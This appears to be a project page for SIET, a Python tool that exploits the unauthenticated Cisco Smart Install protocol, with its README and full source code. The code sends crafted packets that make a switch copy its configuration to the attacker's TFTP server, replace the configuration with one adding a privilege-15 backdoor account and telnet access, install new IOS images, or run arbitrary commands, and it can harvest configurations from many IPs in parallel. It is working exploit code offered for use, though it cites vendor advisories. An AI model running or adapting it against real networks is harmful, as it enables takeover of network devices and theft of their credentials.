### SIET
Smart Install Exploitation Tool
Cisco Smart Install is a plug-and-play configuration and image-management feature that provides zero-touch deployment for new switches. You can ship a switch to a location, place it in the network and power it on with no configuration required on the device.
You can easy identify it using nmap:
nmap -p 4786 -v 192.168.0.1
This protocol has a security issue that allows:
1. Change tftp-server address on client device by sending one malformed TCP packet.
2. Copy client's startup-config on tftp-server exchanged previously.
3. Substitute client's startup-config for the file which has been copied and edited. Device will reboot in defined time.
4. Upgrade ios image on the "client" device.
5. Execute random set of commands on the "client" device. IS a new feature working only at 3.6.0E and 15.2(2)E ios versions.
All of them are caused by the lack of any authentication in smart install protocol. Any device can act as a director and send malformed tcp packet. It works on any "client" device where smart install is enabled. It does not matter if it used smart install in the network or not.
**Confim** from vendor: https://tools.cisco.com/security/center/content/CiscoSecurityResponse/cisco-sr-20170214-smi
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160323-smi
**Slides**: https://2016.zeronights.ru/wp-content/uploads/2016/12/CiscoSmartInstall.v3.pdf
This simple tool helps you to use all of them.
### USAGE
Example: sudo python siet.py **-g** -i 192.168.0.1
**-t** test device for smart install.
**-g** get device config.
**-c** change device config.
**-u** update device IOS.
**-e** execute commands in device's console.
**-i** ip address of target device
**-l** ip list of targets (file path)
### UPDATES
New option "-l". You can use list of ip addresses for getting configuration file.
Fix bug with incorrect test of device.
#### sTFTP.py
```
import sys, os, socket
TFTP_FILES_PATH = 'tftp' # path to files for transfering
TFTP_SERVER_PORT = 69
TFTP_GET_BYTE = 1
TFTP_PUT_BYTE = 2
TFTP_SOCK_TIMEOUT = 180 # in sec
TFTP_MIN_DATA_PORT = 44000 # range of UDP data port
TFTP_MAX_DATA_PORT = 65000 # -//-
DEF_BLKSIZE = 512 # size of data block in TFTP-packet
ECHO_FILE_SIZE = 0xa00000 # count of loaded or transfering bytes for print log message about this process (10 Mb)
MAX_BLKSIZE = 0x10000
MAX_BLKCOUNT = 0xffff
def TftpServer(sBindIp, SocketTimeout):
print '-= DvK =- TFTP server 2017(p)'
try:
os.mkdir('tftp')
except OSError:
print('[INFO]: Directory already exists. OK.')
print '[INFO]: binding socket ..',
try:
ConnUDP = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
ConnUDP.settimeout(SocketTimeout)
ConnUDP.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
ConnUDP.bind((sBindIp, TFTP_SERVER_PORT))
except socket.error as msg:
print 'error: %s' % msg
return
print 'ok'
dPort = TFTP_MIN_DATA_PORT
while True:
try:
buff, (raddress, rport) = ConnUDP.recvfrom(MAX_BLKSIZE)
except socket.timeout:
pass
except socket.error:
return
print '[INFO]: connect from ', raddress, rport
sReq = ''
tReq = ord(buff[1])
if tReq == TFTP_GET_BYTE:
sReq = 'get'
fMode = 'r'
if tReq == TFTP_PUT_BYTE:
sReq = 'put'
fMode = 'w'
if len(sReq) == 0:
print '[ERR]: illegal TFTP request', tReq
sUdp = '\x00\x05\x00\x01Illegal TFTP request\x00'
ConnUDP.sendto(sUdp, (raddress, rport))
continue
ss = buff[2:].split('\0')
nFile = ss[0]
sType = ss[1]
print '[INFO]:[' + raddress + '] ' + sReq + 'ing file', nFile, sType
if (sType == 'octet'):
fMode += 'b'
try:
f = open(TFTP_FILES_PATH + '/' + nFile, fMode)
except IOError:
print '[INFO]:[' + raddress + ']:[' + sReq + '] error open file: ' + TFTP_FILES_PATH + '/' + nFile
sUdp = '\x00\x05\x00\x01Error open file\x00'
ConnUDP.sendto(sUdp, (raddress, rport))
continue
try:
ConnDATA = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
ConnDATA.settimeout(SocketTimeout)
ConnDATA.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
ConnDATA.bind(('', dPort))
except socket.error:
print '[ERR]:[' + raddress + ']:[' + sReq + '] error binding dataport', dPort
sUdp = '\x00\x05\x00\x01Internal error\x00'
ConnUDP.sendto(sUdp, (raddress, rport))
f.close()
continue
print '[INFO]:[' + raddress + ']:[' + sReq + '] success binding data port', dPort
dPort += 1
if dPort == TFTP_MAX_DATA_PORT:
dPort = TFTP_MIN_DATA_PORT
child_pid = os.fork()
if child_pid < 0:
print '[ERR]:[' + raddress + ']:[' + sReq + '] error forking new process'
sUdp = '\x00\x05\x00\x01Internal error\x00'
ConnUDP.sendto(sUdp, (raddress, rport))
f.close()
ConnDATA.close()
continue
if child_pid == 0:
if sReq == 'put':
sUdp = '0004' + ('%04x' % 0)
ConnDATA.sendto(sUdp.decode('hex'), (raddress, rport))
fSize = 0
buffer, (raddress, rport) = ConnDATA.recvfrom(MAX_BLKSIZE)
while buffer:
fSize += len(buffer[4:])
f.write(buffer[4:])
sUdp = '\x00\x04' + buffer[2:4]
ConnDATA.sendto(sUdp, (raddress, rport))
if len(buffer[4:]) < DEF_BLKSIZE:
break
buffer, (raddress, rport) = ConnDATA.recvfrom(MAX_BLKSIZE)
if int(fSize / ECHO_FILE_SIZE) * ECHO_FILE_SIZE == fSize:
print '[INFO]:[' + raddress + ']:[' + sReq + '] file ' + TFTP_FILES_PATH + '/' + nFile + ' downloading, size:', fSize
f.close()
ConnDATA.close()
print '[INFO]:[' + raddress + ']:[' + sReq + '] file ' + TFTP_FILES_PATH + '/' + nFile + ' finish download, size:', fSize
sys.exit(0)
if sReq == 'get':
data = f.read(DEF_BLKSIZE)
fSize = len(data)
j = 1
while data:
sUdp = ('0003' + ('%04x' % j)).decode('hex') + data
ConnDATA.sendto(sUdp, (raddress, rport))
try:
buffer, (raddress, rport) = ConnDATA.recvfrom(MAX_BLKSIZE)
except socket.error:
print '[ERR]:[' + raddress + ']:[' + sReq + '] error upload file ' + TFTP_FILES_PATH + '/' + nFile
break
nBlock = int(buffer[2:4].encode('hex'), 16)
if ord(buffer[1]) != 4 or nBlock != j:
print '[ERR]:[' + raddress + ']:[' + sReq + '] answer packet not valid:', ord(
buffer[1]), nBlock, j
break
if len(data) < DEF_BLKSIZE:
break
data = f.read(DEF_BLKSIZE)
fSize += len(data)
if int(fSize / ECHO_FILE_SIZE) * ECHO_FILE_SIZE == fSize:
print '[INFO]:[' + raddress + ']:[' + sReq + '] file ' + TFTP_FILES_PATH + '/' + nFile + ' uploading success, size:', fSize
if j == MAX_BLKCOUNT:
j = 0
else:
j += 1
f.close()
ConnDATA.close()
print '[INFO]:[' + raddress + ']:[' + sReq + '] file ' + TFTP_FILES_PATH + '/' + nFile + ' finish upload, size:', fSize
sys.exit(0)
sys.exit(0)
##########################################################################################
TftpServer('', TFTP_SOCK_TIMEOUT)
```
#### siet.py
```
#!/usr/bin/python
# SMART INSTALL EXPLOITATION TOOL(SIET)
import argparse
import socket
import os
import shutil
import ntpath
import sys
import subprocess
import time
import threading
import Queue
def get_argm_from_user(): # Set arguments for running
parser = argparse.ArgumentParser()
parser.add_argument("-i", "--ip", dest="IP", help="Set ip-address of client")
parser.add_argument("-l", "--list_ip", dest="list_IP", help="Set file with list of target IP")
parser.add_argument("-t", "--test", dest="mode", const="test", action="store_const",
help="Only test for smart install")
parser.add_argument("-g", "--get_config", dest="mode", const="get_config", action="store_const",
help="Get cisco configuration file from device and store it in conf/ directory")
parser.add_argument("-c", "--change_config", dest="mode", const="change_config", action="store_const",
help="Install a new configuration file to the remote device")
parser.add_argument("-u", "--update_ios", dest="mode", const="update_ios", action="store_const",
help="Updating IOS on the remote device")
parser.add_argument("-e", "--execute", dest="mode", const="execute", action="store_const",
help="Execute code on device (new IOS versions: 3.6.0E+ & 15.2(2)E+")
args = parser.parse_args()
return args
def get_time_from_user(): # Time setting before device reload and apply your configuration file
while True:
tt = raw_input('[INPUT]: Please enter timeout before reload [HH:MM]:')
sHH = tt[0:2]
sMM = tt[3:5]
if ((sHH + sMM).isdigit() == 0) or (int(sHH) > 23) or (int(sMM) > 60) or (':' not in tt):
print('[ERROR]: Invalid time!')
continue
break
return tt[0:5]
def get_file_for_tftp(mode): # Creating directories, configuration files and execute files
ask_file = raw_input(
'[INPUT]: Enter full cisco configuration/execute file path, or press "d" for default (be attention here, default file destroy previous configuration): ')
if ask_file == 'd':
args = get_argm_from_user()
try:
cUser = raw_input('[INPUT]: Enter username or press enter for "cisco": ') or 'cisco'
cPass = raw_input('[INPUT]: Enter password or press enter for "cisco": ') or 'cisco'
if mode == 'config':
f = open('tftp' + '/' + 'default.conf', 'wb')
f.write('username ' + cUser + ' privilege 15 secret 0 ' + cPass + '\n' +
'interface Vlan1\n ip address ' + args.IP + ' ' + '255.255.255.0' + '\n no shutdown\n' +
'line vty 0 4\n login local\n transport input telnet\nend\n')
f.close()
nfile = 'default.conf'
elif mode == 'execute':
f = open('tftp' + '/' + 'execute.txt', 'wb')
f.write('"username ' + cUser + ' privilege 15 secret 0 ' + cPass + '"' + ' "exit"')
f.close()
nfile = 'execute.txt'
except (IOError, OSError) as why:
print str(why)
print('[ERROR]: Check the file and try again.')
exit()
else:
try:
if mode == 'config':
shutil.copy2(str(ask_file), 'tftp/my.conf')
nfile = 'my.conf'
elif mode == 'execute':
shutil.copy2(str(ask_file), 'tftp/my_exec.txt')
nfile = 'my_exec.txt'
except (IOError, OSError) as why:
print str(why)
print('[ERROR]: Check the file and try again.')
exit()
print('[INFO]: File created: ' + nfile)
return nfile
def get_ios_for_tftp(): # Creating nessesary files for IOS update
try:
ios_image = raw_input('[INPUT]: Enter canonical path for the cisco IOS image(tar) file: ')
shutil.copy2(str(ios_image), 'tftp/')
ios_image_name = ntpath.basename(ios_image)
if os.path.exists('tftp/tar_imglist0.txt'):
os.remove('tftp/tar_imglist0.txt')
f = open('tftp' + '/' + 'tar_imglist0.txt', 'wb')
f.write(str(ios_image_name))
f.close()
except (IOError, OSError) as why:
print str(why)
print('[ERROR]: Check the file and try again.')
exit()
def conn_with_client(data, ip, mode=0): # Set connection with remote client
args = get_argm_from_user()
try:
conn_with_host = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn_with_host.settimeout(5)
conn_with_host.connect((ip, 4786))
my_ip = (conn_with_host.getsockname()[0])
if data:
conn_with_host.send(data)
if mode == 0:
conn_with_host.close()
print('[INFO]: Package send success to %s: ' % ip)
elif mode == 1:
resp = '0' * 7 + '4' + '0' * 8 + '0' * 7 + '3' + '0' * 7 + '8' + '0' * 7 + '1' + '0' * 8
while True:
data = conn_with_host.recv(512)
if (len(data) < 1):
print('[INFO]: Smart Install Director feature active on {0}'.format(ip))
print('[INFO]: {0} is not affected'.format(ip))
break
elif (len(data) == 24):
if (data.encode('hex') == resp):
print('[INFO]: Smart Install Client feature active on {0}'.format(ip))
print('[INFO]: {0} is affected'.format(ip))
break
else:
print(
'[ERROR]: Unexpected response received, Smart Install Client feature might be active on {0}'.format(
ip))
print('[INFO]: Unclear whether {0} is affected or not'.format(ip))
break
else:
print(
'[ERROR]: Unexpected response received, Smart Install Client feature might be active on {0}'.format(
ip))
print('[INFO]: Unclear whether {0} is affected or not'.format(ip))
break
conn_with_host.close()
return my_ip
except KeyboardInterrupt:
print('[INFO]: You pressed Ctrl+C, exit.')
exit()
except socket.gaierror:
print('[ERROR]: Hostname could not be resolved, exit.')
exit()
except socket.error:
if args.IP:
print("[ERROR]: Couldn't connect to %s, exit." % ip)
exit()
elif args.list_IP:
print("[ERROR]: Couldn't connect to %s, next." % ip)
pass
def test_device(current_ip): # Testing for smart install
sTcp = '0' * 7 + '1' + '0' * 7 + '1' + '0' * 7 + '4' + '0' * 7 + '8' + '0' * 7 + '1' + '0' * 8
# print('[DEBUG]: Packet for sent: ' + sTcp)
print('[INFO]: Sending TCP packet to %s ' % current_ip)
# print('[DEBUG]: Decoded packet to sent: ' + sTcp.decode('hex'))
conn_with_client(sTcp.decode('hex'), current_ip, mode=1)
def change_tftp(mode, current_ip): # Send package for changing tftp address
my_ip = conn_with_client(None, current_ip)
if not my_ip:
my_ip = socket.gethostbyname(socket.gethostname())
if mode == 'change_config':
config_file = get_file_for_tftp('config')
fConf = 'tftp://' + my_ip + '/' + config_file
sTime = get_time_from_user()
sDump1 = '0' * 7 + '1' + '0' * 7 + '1' + '0' * 7 + '3' + '0' * 5 + '128' + '0' * 7 + '3' + '0' * 23 + '2' + '0' * 15 + '1' + '0' * 6
sDump2 = '0' * (264 - len(fConf) * 2)
sTcp = sDump1 + ('%02x' % int(sTime[0:2])) + '0' * 6 + ('%02x' % int(sTime[3:5])) + '0' * 264 + fConf.encode(
'hex') + sDump2
elif mode == 'get_config':
# need more test with this payload ( "system:" may be more usefull then "nvram:"
# c1 = 'copy nvram:startup-config flash:/config.text'
# c2 = 'copy nvram:startup-config tftp://' + my_ip + '/' + current_ip + '.conf'
c1 = 'copy system:running-config flash:/config.text'
c2 = 'copy flash:/config.text tftp://' + my_ip + '/' + current_ip + '.conf'
c3 = ''
sTcp = '0' * 7 + '1' + '0' * 7 + '1' + '0' * 7 + '800000' + '40800010014' + '0' * 7 + '10' + '0' * 7 + 'fc994737866' + '0' * 7 + '0303f4'
sTcp = sTcp + c1.encode('hex') + '00' * (336 - len(c1))
sTcp = sTcp + c2.encode('hex') + '00' * (336 - len(c2))
sTcp = sTcp + c3.encode('hex') + '00' * (336 - len(c3))
elif mode == 'update_ios':
get_ios_for_tftp()
sTime = get_time_from_user()
fList = 'tftp://' + my_ip + '/tar_imglist0.txt'
sTcp = '%08x' % 1 + '%08x' % 1 + '%08x' % 2 + '%08x' % 0x1c4 + '%08x' % 2
if sTime == '00:00':
sTcp += '%08x' % 0x821 + '%024x' % 1 + '%032x' % 1
else:
sTcp += '%08x' % 0x801 + '%024x' % 0 + '%08x' % 1 + '%08x' % int(sTime[0:2]) + '%08x' % int(
sTime[3:5]) + '%08x' % 1
sTcp += fList.encode('hex') + '00' * (415 - len(fList)) + '01'
elif mode == 'execute':
exec_file = get_file_for_tftp('execute')
c1 = ''
c2 = ''
c3 = 'tftp://' + my_ip + '/' + exec_file
sTcp = '%08d' % 2 + '%08d' % 1 + '%08d' % 5 + '%08d' % 210 + '%08d' % 1
sTcp = sTcp + c1.encode('hex') + '00' * (128 - len(c1))
sTcp = sTcp + c2.encode('hex') + '00' * (264 - len(c2))
sTcp = sTcp + c3.encode('hex') + '00' * (131 - len(c3)) + '01'
# print('[DEBUG]: Packet for sent: ' + sTcp)
print('[INFO]: Sending TCP packet to %s ' % current_ip)
# print('[DEBUG]: Decoded packet to sent: ' + sTcp.decode('hex'))
conn_with_client(sTcp.decode('hex'), current_ip)
def main():
args = get_argm_from_user()
if args.mode == 'test':
current_ip = args.IP
test_device(current_ip)
else:
tftp = subprocess.Popen(["python", "sTFTP.py"])
if args.mode != 'get_config':
current_ip = args.IP
change_tftp(args.mode, current_ip)
elif args.mode == 'get_config':
if args.IP:
current_ip = args.IP
change_tftp(args.mode, current_ip)
elif args.list_IP:
try:
def worker():
while True:
ip = q.get()
change_tftp(args.mode, ip)
q.task_done()
q = Queue.Queue()
with open(args.list_IP, 'r') as list:
for line in list:
ip = line.strip()
q.put(ip)
for i in range(50):
t = threading.Thread(target=worker)
t.daemon = True
t.start()
q.join()
except (IOError, OSError) as why:
print str(why)
print('[ERROR]: Check the file and try again.')
exit()
except TypeError:
pass
except KeyboardInterrupt:
print('[INFO]: You pressed Ctrl+C, exit.')
exit()
print('[INFO]: Getting config done')
else:
print('[ERROR]: Choose the tool mode (test/get_config/change_config/update_ios/execute)')
print('[INFO]: All done! Waiting 60 seconds for end of connections...')
time.sleep(60)
tftp.terminate()
main()
```
暂无评论